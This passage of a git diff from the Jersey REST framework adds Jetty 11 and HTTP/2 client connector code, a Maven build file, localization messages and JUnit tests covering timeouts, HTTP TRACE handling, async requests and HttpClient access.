.property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1") + .path("stream") + .queryParam("count", count) + .queryParam("pauseMillis", pauseMillis) + .request().get(); + + fail("This operation should trigger total timeout"); + } catch (ProcessingException e) { + assertEquals(TimeoutException.class, e.getCause().getClass()); + } + } + + /** + * Test accessing an operation that is streaming slowly + * + * @throws ProcessingException in case of a test error. + */ + @Test + public void testSlowToStartStreamedContentDoesReadTimeout() throws Exception { + + int start = 150; + int count = 5; + int pauseMillis = 50; + + try { + target("test") + .property(ClientProperties.READ_TIMEOUT, 100L) + .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1") + .path("stream") + .queryParam("start", start) + .queryParam("count", count) + .queryParam("pauseMillis", pauseMillis) + .request().get(); + fail("This operation should trigger idle timeout"); + } catch (ProcessingException e) { + assertEquals(TimeoutException.class, e.getCause().getClass()); + } + } +}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TraceSupportTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TraceSupportTest.java new file mode 100644 index 0000000..a7661cb --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TraceSupportTest.java
@@ -0,0 +1,235 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.util.List; +import java.util.Map; +import java.util.logging.Logger; + +import jakarta.ws.rs.HttpMethod; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.container.ContainerRequestContext; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Request; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.process.Inflector; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.model.Resource; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; + +/** + * This very basic resource showcases support of a HTTP TRACE method, + * not directly supported by JAX-RS API. + * + * @author Marek Potociar + */ +public class TraceSupportTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(TraceSupportTest.class.getName()); + + /** + * Programmatic tracing root resource path. + */ + public static final String ROOT_PATH_PROGRAMMATIC = "tracing/programmatic"; + + /** + * Annotated class-based tracing root resource path. + */ + public static final String ROOT_PATH_ANNOTATED = "tracing/annotated"; + + @HttpMethod(TRACE.NAME) + @Target(ElementType.METHOD) + @Retention(RetentionPolicy.RUNTIME) + public @interface TRACE { + public static final String NAME = "TRACE"; + } + + @Path(ROOT_PATH_ANNOTATED) + public static class TracingResource { + + @TRACE + @Produces("text/plain") + public String trace(Request request) { + return stringify((ContainerRequest) request); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(TracingResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + final Resource.Builder resourceBuilder = Resource.builder(ROOT_PATH_PROGRAMMATIC); + resourceBuilder.addMethod(TRACE.NAME).handledBy(new Inflector<ContainerRequestContext, Response>() { + + @Override + public Response apply(ContainerRequestContext request) { + if (request == null) { + return Response.noContent().build(); + } else { + return Response.ok(stringify((ContainerRequest) request), MediaType.TEXT_PLAIN).build(); + } + } + }); + + return config.registerResources(resourceBuilder.build()); + + } + + private String[] expectedFragmentsProgrammatic = new String[]{ + "TRACE http://localhost:" + this.getPort() + "/tracing/programmatic" + }; + private String[] expectedFragmentsAnnotated = new String[]{ + "TRACE http://localhost:" + this.getPort() + "/tracing/annotated" + }; + + private WebTarget prepareTarget(String path) { + final WebTarget target = target(); + target.register(LoggingFeature.class); + return target.path(path); + } + + @Test + public void testProgrammaticApp() throws Exception { + Response response = prepareTarget(ROOT_PATH_PROGRAMMATIC).request("text/plain").method(TRACE.NAME); + + assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode()); + + String responseEntity = response.readEntity(String.class); + for (String expectedFragment : expectedFragmentsProgrammatic) { + assertTrue(// toLowerCase - http header field names are case insensitive + responseEntity.contains(expectedFragment), + "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity); + } + } + + @Test + public void testAnnotatedApp() throws Exception { + Response response = prepareTarget(ROOT_PATH_ANNOTATED).request("text/plain").method(TRACE.NAME); + + assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode()); + + String responseEntity = response.readEntity(String.class); + for (String expectedFragment : expectedFragmentsAnnotated) { + assertTrue(// toLowerCase - http header field names are case insensitive + responseEntity.contains(expectedFragment), + "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity); + } + } + + @Test + public void testTraceWithEntity() throws Exception { + _testTraceWithEntity(false, false); + } + + @Test + public void testAsyncTraceWithEntity() throws Exception { + _testTraceWithEntity(true, false); + } + + @Test + public void testTraceWithEntityJettyConnector() throws Exception { + _testTraceWithEntity(false, true); + } + + @Test + public void testAsyncTraceWithEntityJettyConnector() throws Exception { + _testTraceWithEntity(true, true); + } + + private void _testTraceWithEntity(final boolean isAsync, final boolean useJettyConnection) throws Exception { + try { + WebTarget target = useJettyConnection ? getJettyClient().target(target().getUri()) : target(); + target = target.path(ROOT_PATH_ANNOTATED); + + final Entity<String> entity = Entity.entity("trace", MediaType.WILDCARD_TYPE); + + Response response; + if (!isAsync) { + response = target.request().method(TRACE.NAME, entity); + } else { + response = target.request().async().method(TRACE.NAME, entity).get(); + } + + fail("A TRACE request MUST NOT include an entity. (response=" + response + ")"); + } catch (Exception e) { + // OK + } + } + + private Client getJettyClient() { + return ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyConnectorProvider())); + } + + + public static String stringify(ContainerRequest request) { + StringBuilder buffer = new StringBuilder(); + + printRequestLine(buffer, request); + printPrefixedHeaders(buffer, request.getHeaders()); + + if (request.hasEntity()) { + buffer.append(request.readEntity(String.class)).append("\n"); + } + + return buffer.toString(); + } + + private static void printRequestLine(StringBuilder buffer, ContainerRequest request) { + buffer.append(request.getMethod()).append(" ").append(request.getUriInfo().getRequestUri().toASCIIString()).append("\n"); + } + + private static void printPrefixedHeaders(StringBuilder buffer, Map<String, List<String>> headers) { + for (Map.Entry<String, List<String>> e : headers.entrySet()) { + List<String> val = e.getValue(); + String header = e.getKey(); + + if (val.size() == 1) { + buffer.append(header).append(": ").append(val.get(0)).append("\n"); + } else { + StringBuilder sb = new StringBuilder(); + boolean add = false; + for (String s : val) { + if (add) { + sb.append(','); + } + add = true; + sb.append(s); + } + buffer.append(header).append(": ").append(sb.toString()).append("\n"); + } + } + } +}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/UnderlyingHttpClientAccessTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/UnderlyingHttpClientAccessTest.java new file mode 100644 index 0000000..7802e45 --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/UnderlyingHttpClientAccessTest.java
@@ -0,0 +1,72 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; + +import org.glassfish.jersey.client.ClientConfig; + +import org.eclipse.jetty.client.HttpClient; +import org.junit.jupiter.api.Test; + +import static org.hamcrest.CoreMatchers.is; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertSame; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * Test of access to the underlying HTTP client instance used by the connector. + * + * @author Marek Potociar + */ +public class UnderlyingHttpClientAccessTest { + + /** + * Verifier of JERSEY-2424 fix. + */ + @Test + public void testHttpClientInstanceAccess() { + final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyConnectorProvider())); + final HttpClient hcOnClient = JettyConnectorProvider.getHttpClient(client); + // important: the web target instance in this test must be only created AFTER the client has been pre-initialized + // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the + // connector provider's static getHttpClient method above. + final WebTarget target = client.target("http://localhost/"); + final HttpClient hcOnTarget = JettyConnectorProvider.getHttpClient(target); + + assertNotNull(hcOnClient, "HTTP client instance set on JerseyClient should not be null."); + assertNotNull(hcOnTarget, "HTTP client instance set on JerseyWebTarget should not be null."); + assertSame(hcOnClient, hcOnTarget, "HTTP client instance set on JerseyClient should be the same instance as the one " + + "set on JerseyWebTarget (provided the target instance has not been further configured)."); + } + + @Test + public void testGetProvidedClientInstance() { + final HttpClient httpClient = new HttpClient(); + final ClientConfig clientConfig = new ClientConfig() + .connectorProvider(new JettyConnectorProvider()) + .register(new JettyHttpClientSupplier(httpClient)); + final Client client = ClientBuilder.newClient(clientConfig); + final WebTarget target = client.target("http://localhost/"); + final HttpClient hcOnTarget = JettyConnectorProvider.getHttpClient(target); + + assertThat("Instance provided to a ClientConfig differs from instance provided by JettyProvider", + httpClient, is(hcOnTarget)); + } +}
diff --git a/connectors/jetty11-http2-connector/pom.xml b/connectors/jetty11-http2-connector/pom.xml new file mode 100644 index 0000000..c3633ed --- /dev/null +++ b/connectors/jetty11-http2-connector/pom.xml
@@ -0,0 +1,187 @@ +<?xml version="1.0"?> +<!-- + + Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + + This program and the accompanying materials are made available under the + terms of the Eclipse Public License v. 2.0, which is available at + http://www.eclipse.org/legal/epl-2.0. + + This Source Code may also be made available under the following Secondary + Licenses when the conditions for such availability set forth in the + Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + version 2 with the GNU Classpath Exception, which is available at + https://www.gnu.org/software/classpath/license.html. + + SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + +--> + +<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> + <modelVersion>4.0.0</modelVersion> + + <parent> + <groupId>org.glassfish.jersey.connectors</groupId> + <artifactId>project</artifactId> + <version>3.1.99-SNAPSHOT</version> + </parent> + + <artifactId>jersey-jetty11-http2-connector</artifactId> + <packaging>jar</packaging> + <name>jersey-connectors-jetty11-http2</name> + + <description>Jersey Client Transport via Jetty 11</description> + + <properties> + <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> + <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory> + <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory> + <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory> + <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory> + </properties> + + <dependencyManagement> + <dependencies> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-server</artifactId> + <version>${jetty11.version}</version> + </dependency> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-client</artifactId> + <version>${jetty11.version}</version> + </dependency> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-util</artifactId> + <version>${jetty11.version}</version> + </dependency> + <dependency> + <groupId>org.eclipse.jetty.http2</groupId> + <artifactId>http2-server</artifactId> + <version>${jetty11.version}</version> + </dependency> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-alpn-conscrypt-server</artifactId> + <version>${jetty11.version}</version> + </dependency> + <dependency> + <groupId>org.eclipse.jetty.http2</groupId> + <artifactId>http2-client</artifactId> + <version>${jetty11.version}</version> + </dependency> + <dependency> + <groupId>org.eclipse.jetty.http2</groupId> + <artifactId>http2-http-client-transport</artifactId> + <version>${jetty11.version}</version> + </dependency> + </dependencies> + </dependencyManagement> + + <dependencies> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-client</artifactId> + <version>${jetty11.version}</version> + </dependency> + <dependency> + <groupId>org.eclipse.jetty.http2</groupId> + <artifactId>http2-client</artifactId> + <version>${jetty11.version}</version> + </dependency> + <dependency> + <groupId>org.eclipse.jetty.http2</groupId> + <artifactId>http2-http-client-transport</artifactId> + <version>${jetty11.version}</version> + </dependency> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-util</artifactId> + <version>${jetty11.version}</version> + </dependency> + + <dependency> + <groupId>org.glassfish.jersey.connectors</groupId> + <artifactId>jersey-jetty11-connector</artifactId> + <version>${project.version}</version> + <exclusions> + <exclusion> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-client</artifactId> + </exclusion> + </exclusions> + </dependency> + + <dependency> + <groupId>org.glassfish.jersey.media</groupId> + <artifactId>jersey-media-jaxb</artifactId> + <version>${project.version}</version> + <scope>test</scope> + </dependency> + + <dependency> + <groupId>org.glassfish.jersey.containers</groupId> + <artifactId>jersey-container-jetty11-http2</artifactId> + <version>${project.version}</version> + <scope>test</scope> + <exclusions> + <exclusion> + <groupId>org.eclipse.jetty</groupId> + <artifactId>http2-server</artifactId> + </exclusion> + </exclusions> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.media</groupId> + <artifactId>jersey-media-json-jackson</artifactId> + <version>${project.version}</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.test-framework.providers</groupId> + <artifactId>jersey-test-framework-provider-jetty11-http2</artifactId> + <version>${project.version}</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>com.sun.xml.bind</groupId> + <artifactId>jaxb-osgi</artifactId> + <scope>test</scope> + </dependency> + </dependencies> + + <build> + <plugins> + <plugin> + <groupId>com.sun.istack</groupId> + <artifactId>istack-commons-maven-plugin</artifactId> + <inherited>true</inherited> + </plugin> + <plugin> + <groupId>org.codehaus.mojo</groupId> + <artifactId>build-helper-maven-plugin</artifactId> + <inherited>true</inherited> + </plugin> + <plugin> + <groupId>org.apache.maven.plugins</groupId> + <artifactId>maven-compiler-plugin</artifactId> + </plugin> + <plugin> + <groupId>org.apache.felix</groupId> + <artifactId>maven-bundle-plugin</artifactId> + <inherited>true</inherited> + <configuration> + <instructions> + <Import-Package> + ${jetty.osgi.version}, + * + </Import-Package> + </instructions> + </configuration> + </plugin> + </plugins> + </build> + +</project> \ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java similarity index 78% rename from connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java rename to connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java index 6275727..454efd0 100644 --- a/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java +++ b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
@@ -16,12 +16,13 @@ package org.glassfish.jersey.jetty.http2.connector; -import jakarta.ws.rs.ProcessingException; import org.eclipse.jetty.client.HttpClient; -import org.glassfish.jersey.internal.util.JdkVersion; +import org.eclipse.jetty.client.HttpClientTransport; +import org.eclipse.jetty.http2.client.HTTP2Client; +import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2; +import org.glassfish.jersey.jetty.connector.JettyConnector; import org.glassfish.jersey.jetty.connector.JettyHttpClientContract; import org.glassfish.jersey.jetty.connector.JettyHttpClientSupplier; -import org.glassfish.jersey.jetty.connector.LocalizationMessages; /** * HTTP/2 enabled version of the {@link JettyHttpClientSupplier} @@ -40,17 +41,15 @@ /** * supplier for the {@code HttpClient} with {@code HttpClientTransportOverHTTP2} to be optionally registered * to a {@link org.glassfish.jersey.client.ClientConfig} - * @param http2Client seed doc for JDK 11+. + * @param http2Client a HttpClient to be supplied when {@link JettyConnector#getHttpClient()} is called. */ public JettyHttp2ClientSupplier(HttpClient http2Client) { this.http2Client = http2Client; } private static final HttpClient createHttp2Client() { - if (JdkVersion.getJdkVersion().getMajor() < 11) { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } - return null; // does not work at JDK 1.8 + final HttpClientTransport transport = new HttpClientTransportOverHTTP2(new HTTP2Client()); + return new HttpClient(transport); } @Override
diff --git a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java similarity index 100% rename from connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java rename to connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
diff --git a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java new file mode 100644 index 0000000..02eaf5a --- /dev/null +++ b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
@@ -0,0 +1,58 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.core.Configurable; +import jakarta.ws.rs.core.Configuration; +import org.eclipse.jetty.client.HttpClient; +import org.glassfish.jersey.client.Initializable; +import org.glassfish.jersey.client.spi.Connector; +import org.glassfish.jersey.jetty.connector.JettyConnectorProvider; +import org.glassfish.jersey.jetty.connector.LocalizationMessages; + +/** + * Provides HTTP2 enabled version of the {@link JettyConnectorProvider} for a client + * + * @since 2.41 + */ +public class JettyHttp2ConnectorProvider extends JettyConnectorProvider { + @Override + public Connector getConnector(Client client, Configuration runtimeConfig) { + return new JettyHttp2Connector(client, runtimeConfig); + } + + public static HttpClient getHttpClient(Configurable<?> component) { + if (!(component instanceof Initializable)) { + throw new IllegalArgumentException( + LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName())); + } + + final Initializable<?> initializable = (Initializable<?>) component; + Connector connector = initializable.getConfiguration().getConnector(); + if (connector == null) { + initializable.preInitialize(); + connector = initializable.getConfiguration().getConnector(); + } + + if (connector instanceof JettyHttp2Connector) { + return ((JettyHttp2Connector) connector).getHttpClient(); + } + + throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED()); + } +} \ No newline at end of file
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java similarity index 72% copy from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java copy to connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java index dd25372..960bbb6 100644 --- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java +++ b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -14,7 +14,8 @@ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 */ -package org.glassfish.jersey.internal.jsr166; - -public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> { -} +/** + * Jersey HTTP2 client {@link org.glassfish.jersey.client.spi.Connector connector} based on the + * Jetty Client. + */ +package org.glassfish.jersey.jetty.http2.connector;
diff --git a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties b/connectors/jetty11-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties similarity index 64% copy from test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties copy to connectors/jetty11-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties index 2886c72..b219ef9 100644 --- a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties +++ b/connectors/jetty11-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
@@ -14,5 +14,8 @@ # SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 # -# {0} - status code; {1} - status reason message -not.supported=Jetty container is not supported on JDK version less than 11. +# {0} - HTTP method, e.g. GET, DELETE +method.not.supported=Method {0} not supported. +invalid.configurable.component.type=The supplied component "{0}" is not assignable from Jersey11Client or JerseyWebTarget. +expected.connector.provider.not.used=The supplied component is not configured to use a Jetty11ConnectorProvider. +not.supported=Jetty connector is not supported on JDK version less than 11.
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java new file mode 100644 index 0000000..76ef67b --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java
@@ -0,0 +1,193 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.hamcrest.Matchers; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.container.AsyncResponse; +import jakarta.ws.rs.container.Suspended; +import jakarta.ws.rs.container.TimeoutHandler; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import java.util.logging.Logger; + +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class AsyncTest extends JerseyTest { + private static final Logger LOGGER = Logger.getLogger(AsyncTest.class.getName()); + private static final String PATH = "async"; + + /** + * Asynchronous test resource. + */ + @Path(PATH) + public static class AsyncResource { + /** + * Typical long-running operation duration. + */ + public static final long OPERATION_DURATION = 1000; + + /** + * Long-running asynchronous post. + * + * @param asyncResponse async response. + * @param id post request id (received as request payload). + */ + @POST + public void asyncPost(@Suspended final AsyncResponse asyncResponse, final String id) { + LOGGER.info("Long running post operation called with id " + id + " on thread " + Thread.currentThread().getName()); + new Thread(new Runnable() { + + @Override + public void run() { + String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // ... very expensive operation that typically finishes within 1 seconds, simulated using sleep() + try { + Thread.sleep(OPERATION_DURATION); + return "DONE-" + id; + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + return "INTERRUPTED-" + id; + } finally { + LOGGER.info("Long running post operation finished on thread " + Thread.currentThread().getName()); + } + } + }, "async-post-runner-" + id).start(); + } + + /** + * Long-running async get request that times out. + * + * @param asyncResponse async response. + */ + @GET + @Path("timeout") + public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) { + LOGGER.info("Async long-running get with timeout called on thread " + Thread.currentThread().getName()); + asyncResponse.setTimeoutHandler(new TimeoutHandler() { + + @Override + public void handleTimeout(AsyncResponse asyncResponse) { + asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE) + .entity("Operation time out.").build()); + } + }); + asyncResponse.setTimeout(1, TimeUnit.SECONDS); + asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE) + .entity("Operation time out.").build()); + + new Thread(new Runnable() { + + @Override + public void run() { + String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // very expensive operation that typically finishes within 1 second but can take up to 5 seconds, + // simulated using sleep() + try { + Thread.sleep(5 * OPERATION_DURATION); + return "DONE"; + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + return "INTERRUPTED"; + } finally { + LOGGER.info("Async long-running get with timeout finished on thread " + Thread.currentThread().getName()); + } + } + }).start(); + } + + } + + @Override + protected Application configure() { + return new ResourceConfig(AsyncResource.class) + .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + } + + @Override + protected void configureClient(ClientConfig config) { + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.HEADERS_ONLY)); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + /** + * Test asynchronous POST. + * + * Send 3 async POST requests and wait to receive the responses. Check the response content and + * assert that the operation did not take more than twice as long as a single long operation duration + * (this ensures async request execution). + * + * @throws Exception in case of a test error. + */ + @Test + public void testAsyncPost() throws Exception { + final long tic = System.currentTimeMillis(); + + // Submit requests asynchronously. + final Future<Response> rf1 = target(PATH).request().async().post(Entity.text("1")); + final Future<Response> rf2 = target(PATH).request().async().post(Entity.text("2")); + final Future<Response> rf3 = target(PATH).request().async().post(Entity.text("3")); + // get() waits for the response + final String r1 = rf1.get().readEntity(String.class); + final String r2 = rf2.get().readEntity(String.class); + final String r3 = rf3.get().readEntity(String.class); + + final long toc = System.currentTimeMillis(); + + assertEquals("DONE-1", r1); + assertEquals("DONE-2", r2); + assertEquals("DONE-3", r3); + + assertThat("Async processing took too long.", toc - tic, Matchers.lessThan(3 * AsyncResource.OPERATION_DURATION)); + } + + /** + * Test accessing an operation that times out on the server. + * + * @throws Exception in case of a test error. + */ + @Test + public void testAsyncGetWithTimeout() throws Exception { + final Future<Response> responseFuture = target(PATH).path("timeout").request().async().get(); + // Request is being processed asynchronously. + final Response response = responseFuture.get(); + + // get() waits for the response + assertEquals(503, response.getStatus()); + assertEquals("Operation time out.", response.readEntity(String.class)); + } +} \ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java new file mode 100644 index 0000000..5daad2d --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java
